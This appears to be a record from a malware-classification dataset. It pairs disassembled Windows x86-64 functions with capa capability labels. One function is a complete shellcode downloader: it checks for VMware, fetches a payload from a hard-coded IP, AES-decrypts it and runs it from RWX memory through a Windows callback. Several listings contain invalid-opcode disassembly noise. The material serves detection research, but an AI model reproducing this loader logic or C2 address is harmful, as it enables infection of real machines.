joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403266
Capabilities:
Encode data using xor

Disassembly:
push r14
push rsi
push rdi
push rbx
movzx r8d, r8b
shl r8d, 4
xor r14d, r14d
xor esi, esi
movzx r9d, sil
mov r10b, byte [rcx + r9]
lea esi, [r14*4]
mov r11d, esi
xor r11d, r8d
mov edi, esi
or edi, r8d
add edi, edi
sub edi, r11d
movsxd rdi, edi
mov dil, byte [rdx + rdi]
mov ebx, edi
xor bl, r10b
add bl, dil
mov eax, edi
or al, r10b
not al
add al, bl
not r10b
or r10b, dil
sub al, r10b
mov byte [rcx + r9], al
mov r10d, r14d
mov eax, esi
not eax
and esi, r8d
or eax, r8d
lea esi, [rsi + r14*4]
add esi, 2
add esi, r11d
add esi, eax
movsxd rax, esi
mov al, byte [rdx + rax]
xor byte [r10 + rcx + 4], al
mov esi, r14d
not esi
mov r11d, r14d
and r11d, 8
lea eax, [r8 + r14*4]
mov edi, eax
xor edi, 0xfffffffc
lea edi, [rdi + rax*2]
add edi, 7
or rax, 2
mov al, byte [rdx + rax]
xor al, byte [r10 + rcx + 8]
add r11d, r14d
and esi, 8
add esi, r11d
movsxd rbx, esi
mov byte [rcx + rbx], al
mov eax, r14d
or eax, 0xc
mov ebx, r14d
sub ebx, eax
and r14d, 0xf3
lea eax, [r14 + rbx]
add eax, 0x18
cdqe
movsxd rbx, edi
mov bl, byte [rdx + rbx]
xor bl, byte [rcx + rax]
mov byte [r10 + rcx + 0xc], bl
mov esi, r9d
and sil, 0xfe
add sil, r9b
mov eax, r9d
or al, 1
sub sil, al
add sil, 2
movzx r14d, sil
cmp sil, 4
jb 0x403278
pop rbx
pop rdi
pop rsi
pop r14
ret

Function at 0x403676
Capabilities:
Encode data using xor

Disassembly:
push r14
push rsi
push rdi
push rbx
sub rsp, 0x38
mov rdi, r8
mov r14, rdx
lea rax, [rsp + 0x20]
xor esi, esi
xor ebx, ebx
mov dl, byte [rcx + rbx*4]
mov byte [rax + rbx], dl
inc rbx
cmp rbx, 4
jne 0x40368e
inc rsi
inc rcx
add rax, 4
cmp rsi, 4
jne 0x40368c
lea rsi, [rsp + 0x20]
mov rcx, rsi
mov rdx, rdi
mov r8b, 0xa
call fcn.00403266
mov bl, 9
mov rcx, rsi
call fcn.0040386a
mov rcx, rsi
call fcn.004038f9
mov rcx, rsi
mov rdx, rdi
mov r8d, ebx
call fcn.00403266
mov rcx, rsi
call fcn.0040377d
dec bl
jne 0x4036c2
lea rsi, [rsp + 0x20]
mov rcx, rsi
call fcn.0040386a
mov rcx, rsi
call fcn.004038f9
xor ebx, ebx
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
call fcn.00403266
xor r8d, r8d
mov ecx, ebx
shl ebx, 2
lea r9, [r14 + rcx]
shl rcx, 2
xor edi, edi
mov esi, ebx
xor esi, edi
mov eax, ebx
or eax, edi
mov edx, ebx
and edx, edi
add edx, esi
sub edx, eax
lea eax, [rcx + rdi]
add eax, edx
cdqe
mov al, byte [rsp + rax + 0x20]
mov byte [r9 + rdi*4], al
inc rdi
cmp rdi, 4
jne 0x403723
mov eax, r8d
mov ecx, r8d
and cl, 1
add cl, r8b
mov edx, r8d
xor dl, 1
not al
and al, 0xfe
add cl, dl
add cl, al
add cl, 2
movzx ebx, cl
mov r8d, ecx
cmp bl, 4
jb 0x403714
add rsp, 0x38
pop rbx
pop rdi
pop rsi
pop r14
ret
Function at 0x40377d
Capabilities:
Encode data using xor

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x38
mov r14, rcx
lea rax, [rsp + 0x30]
mov dword [rax], 0xb0d090e
xor edi, edi
lea r15, [rsp + 0x34]
lea r12, [rsp + 0x2c]
xor r13d, r13d
lea eax, [rdi + 1]
xor edx, edx
movzx ecx, dl
lea edx, [rcx*4]
mov ebx, edx
or ebx, edi
not ebx
mov esi, edx
xor esi, edi
and edx, edi
lea ebp, [rax + rcx*4]
add ebp, edx
add ebp, ebx
add ebp, esi
movsxd rdx, ebp
mov dl, byte [r14 + rdx]
mov byte [rsp + rcx + 0x34], dl
mov ebx, ecx
mov edx, ecx
xor dl, 1
add dl, cl
and cl, 1
or bl, 1
add dl, cl
sub dl, bl
inc dl
cmp dl, 4
jb 0x4037af
lea rcx, [rsp + 0x30]
mov rdx, r15
mov r8, r12
call fcn.004034ba
mov al, byte [rsp + 0x2c]
mov ecx, edi
mov byte [r14 + rcx], al
mov al, byte [rsp + 0x2d]
mov byte [r14 + rcx + 4], al
mov al, byte [rsp + 0x2e]
mov byte [r14 + rcx + 8], al
mov al, byte [rsp + 0x2f]
mov byte [r14 + rcx + 0xc], al
lea eax, [r13 + r13]
mov ecx, r13d
or cl, 1
mov edx, r13d
xor dl, 1
add dl, al
sub dl, cl
not r13b
or r13b, 1
add r13b, dl
add r13b, 2
movzx edi, r13b
cmp dil, 4
jb 0x4037aa
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret

Function at 0x4038f9
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
xor r11d, r11d
lea r9, [0x00405140]
xor r8d, r8d
shl r11d, 2
mov r10d, r11d
not r10d
xor edx, edx
xor r15d, r15d
mov edi, edx
not edi
mov r14d, r11d
and r14d, edi
mov ebp, edx
and ebp, r10d
mov esi, edx
or esi, r11d
mov eax, edx
and eax, r11d
mov r12d, edx
mov ebx, r11d
add rbx, r12
add eax, ebx
add eax, r14d
add eax, ebp
sub eax, esi
cdqe
movzx eax, byte [rcx + rax]
and eax, 0xfffffff0
movzx esi, byte [rcx + rbx]
and esi, 0xf
or rsi, rax
mov al, byte [r9 + rsi]
xor edx, r11d
not edx
add edx, ebx
or edi, r11d
sub edx, edi
add edx, r14d
movsxd rdx, edx
mov byte [rcx + rdx], al
mov eax, r15d
mov ebx, r15d
and bl, 1
add bl, r15b
mov edx, r15d
xor dl, 1
not al
and al, 0xfe
add bl, dl
add bl, al
add bl, 2
movzx edx, bl
mov r15d, ebx
cmp bl, 4
jb 0x40391f
mov eax, r8d
not al
mov edx, eax
and dl, 1
add dl, r8b
mov ebx, r8d
xor bl, 0xfe
or al, 1
add dl, bl
sub dl, al
inc dl
movzx r11d, dl
mov r8d, edx
cmp r11b, 4
jb 0x403910
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
Function at 0x4039d5
Capabilities:
Encode data using xor
Encrypt data using aes
Reference aes constants

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov r14, rdx
xor eax, eax
movzx eax, al
lea rsi, [rax*4]
lea rbp, [rax*4 + 1]
mov edx, esi
not edx
mov r8b, byte [rcx + rax*4]
lea edi, [rdx + rax*8 + 1]
movsxd rdi, edi
mov byte [r14 + rdi], r8b
lea ebp, [rdx + rbp*2]
movsxd rbp, ebp
mov bl, byte [rcx + rbp]
mov byte [r14 + rax*4 + 1], bl
mov bl, byte [rcx + rax*4 + 2]
xor esi, 0xfffffffd
add edx, edx
sub esi, edx
add esi, 3
movsxd rdx, esi
mov byte [r14 + rdx], bl
mov dl, byte [rcx + rax*4 + 3]
mov byte [r14 + rax*4 + 3], dl
inc al
cmp al, 4
jb 0x4039ea
mov r13b, 4
mov ebp, 4
lea r10, str.cw
movsxd rdi, ebp
lea r15, [rdi*4]
mov al, byte [r14 + rdi*4 - 4]
mov byte [rsp + 0x24], al
mov ecx, edi
xor ecx, 1
mov edx, edi
xor edx, 0x3ffffffe
mov r12d, edi
not r12d
mov esi, r12d
or esi, 1
mov ebx, edi
and ebx, 0xfe
add ebx, edx
sub ebx, esi
shl ebx, 2
movsxd rdx, ebx
mov r8b, byte [r14 + rdx + 1]
mov byte [rsp + 0x25], r8b
mov edx, edi
and edx, 1
add edx, ebp
add edx, ecx
add edx, esi
lea ecx, [rdx*4 - 2]
movsxd rcx, ecx
mov dl, byte [r14 + rcx]
mov byte [rsp + 0x26], dl
mov r9b, byte [r14 + rdi*4 - 1]
mov byte [rsp + 0x27], r9b
test dil, 3
jne 0x403b46
mov ecx, 1
mov dl, byte [rsp + rcx + 0x24]
mov byte [rsp + rcx + 0x23], dl
inc rcx
cmp rcx, 4
jne 0x403acc
mov byte [rsp + 0x27], al
xor eax, eax
movzx ecx, al
movzx eax, byte [rsp + rcx + 0x24]
mov al, byte [rax + r10]
mov byte [rsp + rcx + 0x24], al
lea edx, [rcx + rcx]
mov eax, ecx
and al, 1
or al, dl
xor al, 1
or cl, 1
sub al, cl
inc al
cmp al, 4
jb 0x403ae3
mov ecx, r13d
shr cl, 2
mov rsi, r10
call fcn.00403097
mov r10, rsi
mov al, byte [0x00404010]
xor al, byte [rsp + 0x24]
mov r8b, byte [0x00404011]
xor r8b, byte [rsp + 0x25]
mov dl, byte [0x00404012]
xor dl, byte [rsp + 0x26]
mov r9b, byte [0x00404013]
xor r9b, byte [rsp + 0x27]
xor al, byte [r15 + r14 - 0x10]
mov edi, r15d
mov byte [r14 + rdi], al
mov al, byte [r15 + r14 - 0xf]
mov ebx, r8d
not bl
and bl, al
mov ecx, r8d
xor cl, al
or al, r8b
add bl, r8b
sub cl, bl
add cl, al
mov rax, rdi
or rax, 1
mov byte [r14 + rax], cl
xor dl, byte [r15 + r14 - 0xe]
or rdi, 3
lea eax, [rdi - 1]
mov byte [r14 + rax], dl
and r12d, 4
mov eax, ebp
sub eax, r12d
and ebp, 4
sub eax, ebp
shl eax, 2
cdqe
xor r9b, byte [r14 + rax + 3]
mov byte [r14 + rdi], r9b
lea eax, [r13 + r13]
mov ecx, r13d
and cl, 1
or cl, al
xor cl, 1
or r13b, 1
sub cl, r13b
inc cl
movzx ebp, cl
mov r13d, ecx
cmp bpl, 0x2c
jb 0x403a51
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
Function at 0x403bde
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
call fcn.00401650
xorps xmm0, xmm0
lea rdx, [rbp - 0x40]
movaps xmmword [rdx + 0x20], xmm0
movaps xmmword [rdx + 0x10], xmm0
movaps xmmword [rdx], xmm0
lea rcx, str.C:Program_FilesVMware
call fcn.00402b10
test eax, eax
jne 0x403c2e
movzx eax, word [rbp - 0x3a]
and eax, 0xf000
cmp eax, 0x4000
je 0x403d8d
call fcn.00403072
mov r12, rax
lea rdx, str.44.212.22.10
mov rcx, rax
mov r8w, 0x50
call fcn.00402f5d
mov r13, rax
lea rdx, str.0808
mov rcx, rax
call fcn.00403047
mov rbx, rax
mov rcx, rax
call fcn.00403200
test eax, eax
je 0x403c2e
mov rcx, rbx
call fcn.004031f9
test eax, eax
je 0x403c2e
xor edi, edi
mov edx, 0x60000
xor ecx, ecx
mov r8d, 0x1000
mov r9d, 4
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r8d, 0x60000
mov rcx, rbx
mov rsi, rax
mov rdx, rax
call fcn.0040310c
mov r14, rax
lea r15, [rbp - 0x10]
lea rcx, [r14 + rdi]
mov rdx, r15
mov r8w, 0x10
call fcn.00402f65
movaps xmm0, xmmword [rbp - 0x10]
movups xmmword [r14 + rdi], xmm0
lea rax, [rdi + 0x10]
cmp rdi, 0x5fff0
mov rdi, rax
jb 0x403cad
movzx eax, byte [r14 + 0x5ffff]
mov r15d, 0x60000
cmp rax, 0x10
ja 0x403d27
test al, al
mov rdi, rsi
je 0x403d1c
xor ecx, ecx
movzx edx, cl
mov rsi, r14
sub rsi, rdx
cmp byte [rsi + 0x5ffff], al
jne 0x403d2a
mov edx, ecx
or dl, 0xfe
add dl, cl
not cl
or cl, 0xfe
add dl, cl
add dl, 4
mov ecx, edx
cmp dl, al
jb 0x403cf4
mov r15d, 0x60000
sub r15, rax
jmp 0x403d2a
mov rdi, rsi
xor ecx, ecx
mov rdx, r15
mov r8d, 0x1000
mov r9d, 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
mov rcx, rax
mov rdx, rdi
mov r8, r15
call sub.msvcrt.dll_memmove
mov rcx, rsi
mov edx, 0x400
mov r8d, 0xffffffff
mov r9d, 0x15
call qword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
mov rcx, rbx
mov rdx, r13
mov r8, r12
call fcn.00402f20
xor eax, eax
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
xor ecx, ecx
call sub.msvcrt.dll_exit
Function at 0x140002e75
Capabilities:
Inspect section memory permissions

Disassembly:
mov eax, 1
jmp 0x14000510c
mov rax, qword [rsp + 0x98]
mov rcx, qword [rsp + 0x98]
add byte [rax - 0x75], cl
or byte [r8 + 0x39], cl
or byte [rdi], cl
invalid
movsb byte [rdi], byte [rsi]
invalid
add byte [rax], al
jmp 0x140006d27
mov dword [rsp + 0x24], 0
jmp 0x1400045b2
lea rcx, [0x1400a3a46]
call fcn.1400022a8
jmp 0x14000466a
mov eax, 1
jmp 0x14000510c
mov eax, dword [rsp + 0x2c]
mov dword [rsp + 0x48], eax
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x54], 8
mov dword [rsp + 0x58], 2
mov dword [rsp + 0x5c], 4
mov dword [rsp + 0x60], 0x10
jmp 0x140007e6e
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
sub rsp, 0x88
mov rax, qword [rsp + 0x90]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x98]
cmp qword [rax + 0x10], 0
je 0x140007ad2
jmp 0x140003f07
cmp qword [rsp + 0x38], 0
jne 0x14000764e
jmp 0x1400077f4
mov rax, qword [rsp + 0x98]
cmp dword [rax + 0x1c], 0
jne 0x140005a45
jmp 0x1400078e0
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x18]
and eax, 0x2000000
test eax, eax
je 0x140005114
jmp 0x140001729
mov dword [rsp + 0x28], 0
jmp 0x140006c7b
mov dword [rsp + 0x28], 1
jmp 0x140006c7b
mov eax, dword [rsp + 0x20]
bts eax, 9
mov dword [rsp + 0x20], eax
cmp qword [rsp + 0x38], 0
je 0x1400077f4
jmp 0x14000764e
mov eax, dword [rsp + 0x24]
mov dword [rsp + 0x40], eax
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x18]
and eax, 0x40000000
test eax, eax
je 0x140003fb3
jmp 0x14000416e
xor eax, eax
jmp 0x14000510c
cmp dword [rsp + 0x30], 0
jne 0x1400025bc
jmp 0x140001fa7
add rsp, 0x88
ret
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x18]
and eax, 0x20000000
test eax, eax
jne 0x140006461
jmp 0x140001858
mov r8d, 0x4000
mov rax, qword [rsp + 0x98]
mov rdx, qword [rax + 0x10]
mov rax, qword [rsp + 0x98]
mov rcx, qword [rax]
mov rax, qword [rsp + 0x38]
call qword [rax + htons]
jmp 0x1400014d5
cmp qword [rsp + 0x38], 0
jne 0x1400051b9
jmp 0x140007752
mov eax, dword [rax + rcx*4]
mov dword [rsp + 0x20], eax
mov rax, qword [rsp + 0x98]
mov eax, dword [rax + 0x18]
and eax, 0x4000000
test eax, eax
jne 0x140004254
invalid
invalid
invalid

Function at 0x1400038f2
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 0x20], r9
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x10], rdx
mov qword [rsp + 8], rcx
push rsi
push rdi
sub rsp, 0x58
mov rax, qword [rsp + 0x88]
mov rax, qword [rax + 8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x88]
jmp 0x140005069
jmp 0x14000712d
mov rax, qword [rax]
mov rcx, qword [rsp + 0x88]
mov rcx, qword [rcx]
movzx ecx, word [rcx + 0x14]
lea rax, [rax + rcx + 0x18]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x88]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x40], rax
mov dword [rsp + 0x24], 0
jmp 0x140003996
mov rax, qword [rsp + 0x88]
mov rax, qword [rax]
movzx eax, word [rax + 6]
cmp dword [rsp + 0x24], eax
jge 0x14000380b
Function at 0x140004a60
Capabilities:
Access peb ldr_data
Get process filename

Disassembly:
mov rax, qword [rsp + 0x28]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x20], 0
jmp 0x140005897
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x50]
mov qword [rsp + 0x28], rax
cmp qword [rsp + 0x28], 0
je 0x140001932
jmp 0x1400014f3
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x10]
sub rax, 0x10
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x40]
cmp qword [rsp + 0x30], rax
je 0x140003422
jmp 0x14000161c
xor r9d, r9d
mov r8d, eax
mov rdx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x38]
call fcn.140001aeb
jmp 0x140003276
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x30]
mov qword [rsp + 0x48], rax
jmp 0x140003422
test eax, eax
jne 0x140001932
jmp 0x140002d8d
mov rax, qword [rsp + 0x48]
add rsp, 0x68
ret
mov rcx, qword [rsp + 0x70]
call fcn.140004330
jmp 0x140002b9a
mov eax, dword [rsp + 0x20]
inc eax
mov dword [rsp + 0x20], eax
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
movzx eax, word [rcx + rax*2]
test eax, eax
jne 0x140004aa4
jmp 0x1400039b2
mov qword [rsp + 8], rcx
sub rsp, 0x68
mov rax, qword gs:[0x60]
mov qword [rsp + 0x50], rax
mov rax, qword [rsp + 0x50]
mov rax, qword [rax + 0x18]
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov rax, qword [rax + 0x20]
sub rax, 0x10
jmp 0x1400061cc
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
movzx eax, word [rcx + rax*2]
cmp eax, 0x5c
je 0x1400076e9
jmp 0x140005926
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
movzx eax, word [rcx + rax*2]
test eax, eax
jne 0x140004aa4
jmp 0x1400039b2
jmp 0x14000493e
mov qword [rsp + 0x40], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x48], 0
jmp 0x14000161c
movsxd rax, dword [rsp + 0x20]
mov rcx, qword [rsp + 0x28]
lea rax, [rcx + rax*2 + 2]
mov qword [rsp + 0x38], rax
jmp 0x14000493e
Function at 0x140010968
Capabilities:
Get file version info
Get hostname

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x180]
sub rsp, 0x280
mov rax, qword [0x1400563f8]
xor rax, rsp
mov qword [rbp + 0x170], rax
and dword [rsp + 0x30], 0
lea rax, [rsp + 0x30]
and qword [rsp + 0x38], 0
lea r9, [0x14004c254]
lea r8, str.PrintWelcomeMessage
mov qword [rsp + 0x20], rax
mov edx, 0x32
lea rcx, [rsp + 0x40]
call sym.diskraid.exe_public:_void___cdecl_CDrCallTracer::constructor_unsigned_long_int__char_const__const___ptr64__char_const__const___ptr64__long_int_const____ptr64____ptr64
mov r8d, 0x104
lea rdx, [rsp + 0x60]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
nop dword [rax + rax]
mov dword [rsp + 0x34], eax
test eax, eax
jne 0x140010a0a
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
jle 0x140010a01
movzx ebx, ax
or ebx, 0x80070000
mov dword [rsp + 0x30], ebx
jmp 0x140010b18
xor r8d, r8d
lea rdx, [rsp + 0x60]
lea ecx, [r8 + 2]
call qword [sym.imp.api_ms_win_core_version_l1_1_0.dll_GetFileVersionInfoSizeExW]
nop dword [rax + rax]
mov ebx, eax
mov dword [rsp + 0x34], ebx
test eax, eax
je 0x1400109e6
mov ecx, ebx
call qword [sym.imp.msvcrt.dll_malloc]
nop dword [rax + rax]
mov rdi, rax
test rax, rax
jne 0x140010a49
mov ebx, 0x8007000e
jmp 0x140010a01
xor r8d, r8d
mov qword [rsp + 0x20], rdi
mov r9d, ebx
lea rdx, [rsp + 0x60]
lea ecx, [r8 + 2]
call qword [sym.imp.api_ms_win_core_version_l1_1_0.dll_GetFileVersionInfoExW]
nop dword [rax + rax]
test eax, eax
jne 0x140010a8e
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
mov ebx, eax
test eax, eax
jle 0x140010b05
movzx ebx, ax
or ebx, 0x80070000
jmp 0x140010b05
lea r9, [rsp + 0x34]
mov rcx, rdi
lea r8, [rsp + 0x38]
lea rdx, [0x14004a960]
call qword [sym.imp.api_ms_win_core_version_l1_1_0.dll_VerQueryValueW]
nop dword [rax + rax]
test eax, eax
je 0x140010a6d
lea rdx, [rsp + 0x34]
mov dword [rsp + 0x34], 0x104
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
nop dword [rax + rax]
test eax, eax
je 0x140010a6d
mov rax, qword [rsp + 0x38]
movzx ecx, word [rax + 0xc]
movzx r9d, word [rax + 0xe]
movzx r8d, word [rax + 8]
movzx edx, word [rax + 0xa]
lea rax, [rsp + 0x60]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov ecx, 0x4000271b
call fcn.14002fe1c
mov ebx, eax
mov rcx, rdi
mov dword [rsp + 0x30], ebx
call qword [sym.imp.msvcrt.dll_free]
nop dword [rax + rax]
lea rcx, [rsp + 0x40]
call sym.diskraid.exe_public:_void___cdecl_CDrCallTracer::destructor_void____ptr64
mov eax, ebx
mov rcx, qword [rbp + 0x170]
xor rcx, rsp
call fcn.140001480
lea r11, [rsp + 0x280]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret
Function at 0x14002ff5c
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r14
push r15
mov rbp, rsp
sub rsp, 0x60
xor r15d, r15d
lea rax, [rbp + 0x38]
mov rdi, rcx
mov dword [rbp + 0x38], r15d
lea r9, [0x14004fcac]
mov dword [rbp + 0x40], r15d
lea r8, str.PrintString
mov qword [rsp + 0x20], rax
lea edx, [r15 + 0x3c]
lea rcx, [rbp - 0x20]
call sym.diskraid.exe_public:_void___cdecl_CDrCallTracer::constructor_unsigned_long_int__char_const__const___ptr64__char_const__const___ptr64__long_int_const____ptr64____ptr64
or rbx, 0xffffffffffffffff
cmp dword [0x1400569d4], r15d
je 0x140030002
inc rbx
cmp word [rdi + rbx*2], r15w
jne 0x14002ffae
mov rcx, qword [0x1400570a0]
lea r9, [rbp + 0x40]
mov r8, rbx
mov qword [rsp + 0x20], r15
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteConsoleW]
nop dword [rax + rax]
test eax, eax
jne 0x1400300dc
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
test eax, eax
jle 0x14002fffa
movzx eax, ax
or eax, 0x80070000
mov dword [rbp + 0x38], eax
jmp 0x1400300dc
mov qword [rsp + 0x38], r15
xor edx, edx
mov qword [rsp + 0x30], r15
mov r9d, ebx
mov dword [rsp + 0x28], r15d
mov r8, rdi
mov qword [rsp + 0x20], r15
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop dword [rax + rax]
movsxd r14, eax
test eax, eax
je 0x14002ffe2
mov rdx, r14
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
nop dword [rax + rax]
mov rsi, rax
test rax, rax
jne 0x14003005c
mov dword [rbp + 0x38], 0x8007000e
jmp 0x1400300dc
mov qword [rsp + 0x38], r15
xor edx, edx
mov qword [rsp + 0x30], r15
mov r9d, ebx
mov dword [rsp + 0x28], r14d
mov r8, rdi
mov qword [rsp + 0x20], rsi
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
nop dword [rax + rax]
test eax, eax
je 0x1400300b2
mov rcx, qword [0x1400570a0]
lea r8d, [rax - 1]
lea r9, [rbp + 0x40]
mov qword [rsp + 0x20], r15
mov rdx, rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
nop dword [rax + rax]
test eax, eax
jne 0x1400300cd
call qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax + rax]
test eax, eax
jle 0x1400300ca
movzx eax, ax
or eax, 0x80070000
mov dword [rbp + 0x38], eax
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_LocalFree]
nop dword [rax + rax]
cmp dword [0x1400569d0], r15d
jbe 0x1400300ed
mov rcx, rdi
call fcn.14002fcdc
mov ebx, dword [rbp + 0x38]
lea rcx, [rbp - 0x20]
call sym.diskraid.exe_public:_void___cdecl_CDrCallTracer::destructor_void____ptr64
mov eax, ebx
mov rbx, qword [rsp + 0x90]
add rsp, 0x60
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
Function at 0x140013ec0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140013cec

Function at 0x140004000
Capabilities:
Execute shellcode via indirect call

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x38
and rsp, 0xfffffffffffffff0
movabs rcx, 0x140004062
movabs rax, sym.imp.KERNEL32.dll_LoadLibraryA
call qword [rax]
movabs rdx, 0x14000406b
mov rcx, rax
movabs rax, sym.imp.KERNEL32.dll_GetProcAddress
call qword [rax]
xor ecx, ecx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov r9, rcx
movabs r8, 0x140004078
mov rdx, rcx
call rax
leave
jmp loc.140001000
Function at 0x1400012d5
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
jmp 0x140017b94
sub rsp, 0x18
mov r8, rcx
mov eax, 0x5a4d
cmp word [0x140000000], ax
jne 0x140017c21
movsxd rcx, dword [0x14000003c]
lea rdx, [0x140000000]
add rcx, rdx
cmp dword [rcx], 0x4550
jne 0x140017c21
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140017c21
sub r8, rdx
movzx edx, word [rcx + 0x14]
add rdx, 0x18
add rdx, rcx
movzx eax, word [rcx + 6]
lea rcx, [rax + rax*4]
lea r9, [rdx + rcx*8]
mov qword [rsp], rdx
cmp rdx, r9
je 0x140017c08
mov ecx, dword [rdx + 0xc]
cmp r8, rcx
jb 0x140017c02
mov eax, dword [rdx + 8]
add eax, ecx
cmp r8, rax
jb 0x140017c0a
add rdx, 0x28
jmp 0x140017be7
xor edx, edx
test rdx, rdx
jne 0x140017c13
xor al, al
jmp 0x140017c27
cmp dword [rdx + 0x24], 0
jge 0x140017c1d
xor al, al
jmp 0x140017c27
mov al, 1
jmp 0x140017c27
xor al, al
jmp 0x140017c27
add rsp, 0x18
ret

Function at 0x140001398
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
jmp 0x140005da0
jmp 0x140004540
sub r8, rdx
mov rcx, rdx
mov rdx, r8
jmp 0x1400011c2
xor r9d, r9d
movabs rax, 0xcbf29ce484222325
test rdx, rdx
je 0x140005dd4
movabs r10, 0x100000001b3
nop dword [rax]
movzx r8d, byte [r9 + rcx]
inc r9
xor rax, r8
imul rax, r10
cmp r9, rdx
jb 0x140005dc0
ret

Function at 0x140001415
Capabilities:
Terminate process

Disassembly:
jmp 0x140018a8c
push rbx
sub rsp, 0x20
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov edx, 0xc0000409
add rsp, 0x20
pop rbx
jmp qword [sym.imp.KERNEL32.dll_TerminateProcess]